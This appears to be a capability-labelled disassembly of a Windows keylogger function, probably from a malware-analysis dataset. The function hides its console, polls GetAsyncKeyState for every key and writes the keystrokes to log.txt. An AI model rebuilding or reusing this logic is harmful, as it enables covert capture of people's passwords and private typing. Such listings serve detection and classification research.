Function at 0x140011668
Capabilities:
Log keystrokes via polling
Terminate process

Disassembly:
jmp 0x14001c530
push rbp
push rdi
sub rsp, 0x498
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0xbe
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x14002e040]
xor rax, rbp
mov qword [rbp + 0x468], rax
lea rcx, [0x1400360fd]
call fcn.140011906
lea rdx, [0x140029350]
xor ecx, ecx
call qword [sym.imp.ucrtbased.dll_setlocale]
call qword [sym.imp.KERNEL32.dll_FreeConsole]
lea rdx, [0x1400116db]
lea rcx, [rbp + 8]
call fcn.140011415
nop
lea rdx, [0x140011131]
lea rcx, [rbp + 0x38]
call fcn.140011415
nop
lea rdx, str._backspace_
lea rcx, [rbp + 0x68]
call fcn.140011429
nop
lea rdx, [0x140029368]
lea rcx, [rbp + 0xa8]
call fcn.140011429
nop
lea rdx, [0x14002936c]
lea rcx, [rbp + 0xe8]
call fcn.140011429
nop
mov edx, 0x108
lea rcx, [rbp + 0x130]
call fcn.1400113a7
mov edx, 1
lea rcx, [rbp + 0x130]
call fcn.140011776
nop
mov r9d, 0x40
mov r8d, 2
lea rdx, str.log.txt
lea rcx, [rbp + 0x130]
call fcn.1400111c2
mov byte [rbp + 0x254], 0x20
mov byte [rbp + 0x274], 0
mov dword [rbp + 0x294], 8
jmp 0x14001c647
mov eax, dword [rbp + 0x294]
inc eax
mov dword [rbp + 0x294], eax
cmp dword [rbp + 0x294], 0xbe
jge 0x14001cb4e
cmp dword [rbp + 0x294], 0x5d
jle 0x14001c678
cmp dword [rbp + 0x294], 0xbc
jge 0x14001c678
mov dword [rbp + 0x294], 0xbc
jmp 0x14001c639
mov ecx, dword [rbp + 0x294]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
cwde
cmp eax, 0xffff8001
jne 0x14001cb49
mov ecx, dword [rbp + 0x294]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
cwde
test eax, eax
je 0x14001cb49
movzx eax, byte [rbp + 0x294]
mov byte [rbp + 0x2b4], al
mov edx, dword [rbp + 0x294]
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
lea rdx, [0x140011055]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
movzx ecx, byte [rbp + 0x2b4]
call fcn.14001192e
mov dword [rbp + 0x2d4], eax
cmp dword [rbp + 0x294], 0x5d
jne 0x14001c70f
movzx eax, byte [rbp + 0x274]
test eax, eax
je 0x14001c703
xor ecx, ecx
call qword [sym.imp.ucrtbased.dll_exit]
mov byte [rbp + 0x274], 1
jmp 0x14001c639
cmp dword [rbp + 0x2d4], 1
jne 0x14001c730
lea rdx, [rbp + 0xe8]
lea rcx, [rbp + 0x130]
call fcn.14001182f
jmp 0x14001c639
cmp dword [rbp + 0x2d4], 2
jne 0x14001c74e
lea rdx, [rbp + 0x68]
lea rcx, [rbp + 0x130]
call fcn.14001182f
jmp 0x14001c639
cmp dword [rbp + 0x2d4], 3
jne 0x14001c76f
lea rdx, [0x14002e770]
lea rcx, [rbp + 0x130]
call fcn.14001182f
jmp 0x14001c639
cmp dword [rbp + 0x2d4], 4
jne 0x14001c790
lea rdx, [rbp + 0xa8]
lea rcx, [rbp + 0x130]
call fcn.14001182f
jmp 0x14001c639
movzx eax, byte [0x14002e6f0]
test eax, eax
je 0x14001c7bf
cmp dword [rbp + 0x294], 0xbd
jne 0x14001c7bf
lea rdx, [0x14002e770]
lea rcx, [rbp + 0x130]
call fcn.14001182f
jmp 0x14001c639
movsx eax, byte [rbp + 0x2b4]
cmp eax, 0x20
je 0x14001cb49
movsx eax, byte [rbp + 0x2b4]
cmp eax, 8
je 0x14001cb49
movsx eax, byte [rbp + 0x2b4]
cmp eax, 0xd
je 0x14001cb49
movsx eax, byte [rbp + 0x2b4]
cmp eax, 0x12
je 0x14001cb49
movsx eax, byte [rbp + 0x2b4]
cmp eax, 0x10
je 0x14001cb49
movzx eax, byte [0x14002e6f0]
test eax, eax
je 0x14001cabd
movzx eax, byte [section..data]
cmp eax, 1
jne 0x14001c95d
movsx eax, byte [rbp + 0x2b4]
mov dword [rbp + 0x464], eax
mov eax, dword [rbp + 0x464]
sub eax, 0x31
mov dword [rbp + 0x464], eax
cmp dword [rbp + 0x464], 7
ja case.default.0x14001c86f
movsxd rax, dword [rbp + 0x464]
lea rcx, [0x140000000]
mov eax, dword [rcx + rax*4 + 0x1cbcc]
add rax, rcx
jmp rax
lea rdx, [0x14002e720]
lea rcx, [rbp + 0x130]
call fcn.14001182f
mov byte [0x14002e6f2], 1
jmp case.default.0x14001c86f
lea rdx, [0x14002e7c0]
lea rcx, [rbp + 0x130]
call fcn.14001182f
mov byte [0x14002e6f2], 1
jmp case.default.0x14001c86f
lea rdx, [0x14002e860]
lea rcx, [rbp + 0x130]
call fcn.14001182f
mov byte [0x14002e6f2], 1
jmp case.default.0x14001c86f
lea rdx, [0x14002e798]
lea rcx, [rbp + 0x130]
call fcn.14001182f
mov byte [0x14002e6f2], 1
jmp case.default.0x14001c86f
lea rdx, [0x14002e748]
lea rcx, [rbp + 0x130]
call fcn.14001182f
mov byte [0x14002e6f2], 1
jmp case.default.0x14001c86f
lea rdx, [0x14002e838]
lea rcx, [rbp + 0x130]
call fcn.14001182f
mov byte [0x14002e6f2], 1
jmp case.default.0x14001c86f
lea rdx, [0x14002e810]
lea rcx, [rbp + 0x130]
call fcn.14001182f
mov byte [0x14002e6f2], 1
jmp case.default.0x14001c86f
lea rdx, [0x14002e6f8]
lea rcx, [rbp + 0x130]
call fcn.14001182f
mov byte [0x14002e6f2], 1
jmp case.default.0x14001c99e
movsx eax, byte [rbp + 0x2b4]
mov dword [rbp + 0x464], eax
mov eax, dword [rbp + 0x464]
sub eax, 0x31
mov dword [rbp + 0x464], eax
cmp dword [rbp + 0x464], 7
ja case.default.0x14001c99e
movsxd rax, dword [rbp + 0x464]
lea rcx, [0x140000000]
mov eax, dword [rcx + rax*4 + 0x1cbec]
add rax, rcx
jmp rax
lea rdx, [0x14002e720]
lea rcx, [rbp + 0x130]
call fcn.14001182f
mov byte [0x14002e6f2], 1
jmp case.default.0x14001c99e
lea rdx, [0x14002e7c0]
lea rcx, [rbp + 0x130]
call fcn.14001182f
mov byte [0x14002e6f2], 1
jmp case.default.0x14001c99e
lea rdx, [0x14002e888]
lea rcx, [rbp + 0x130]
call fcn.14001182f
mov byte [0x14002e6f2], 1
jmp case.default.0x14001c99e
lea rdx, [0x14002e7e8]
lea rcx, [rbp + 0x130]
call fcn.14001182f
mov byte [0x14002e6f2], 1
jmp case.default.0x14001c99e
lea rdx, [0x14002e748]
lea rcx, [rbp + 0x130]
call fcn.14001182f
mov byte [0x14002e6f2], 1
jmp case.default.0x14001c99e
lea rdx, [0x14002e8d8]
lea rcx, [rbp + 0x130]
call fcn.14001182f
mov byte [0x14002e6f2], 1
jmp case.default.0x14001c99e
lea rdx, [0x14002e900]
lea rcx, [rbp + 0x130]
call fcn.14001182f
mov byte [0x14002e6f2], 1
jmp case.default.0x14001c99e
lea rdx, [0x14002e6f8]
lea rcx, [rbp + 0x130]
call fcn.14001182f
mov byte [0x14002e6f2], 1
movzx eax, byte [0x14002e6f2]
test eax, eax
jne 0x14001cab1
mov r8d, 1
lea rdx, [rbp + 0x2b4]
lea rcx, [rbp + 0x130]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
jmp 0x14001c639
mov byte [0x14002e6f2], 0
jmp 0x14001cb49
cmp dword [rbp + 0x294], 0xbd
jne 0x14001cae1
lea rdx, [0x14002e8b0]
lea rcx, [rbp + 0x130]
call fcn.14001182f
jmp 0x14001c639
movsx eax, byte [rbp + 0x2b4]
cmp eax, 0x39
jg 0x14001cb1a
movsx eax, byte [rbp + 0x2b4]
cmp eax, 0x30
jl 0x14001cb1a
mov r8d, 1
lea rdx, [rbp + 0x2b4]
lea rcx, [rbp + 0x130]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
jmp 0x14001c639
movsx eax, byte [rbp + 0x2b4]
add eax, 0x20
mov byte [rbp + 0x2b4], al
mov r8d, 1
lea rdx, [rbp + 0x2b4]
lea rcx, [rbp + 0x130]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
jmp 0x14001c639
jmp 0x14001c639
jmp 0x14001c62d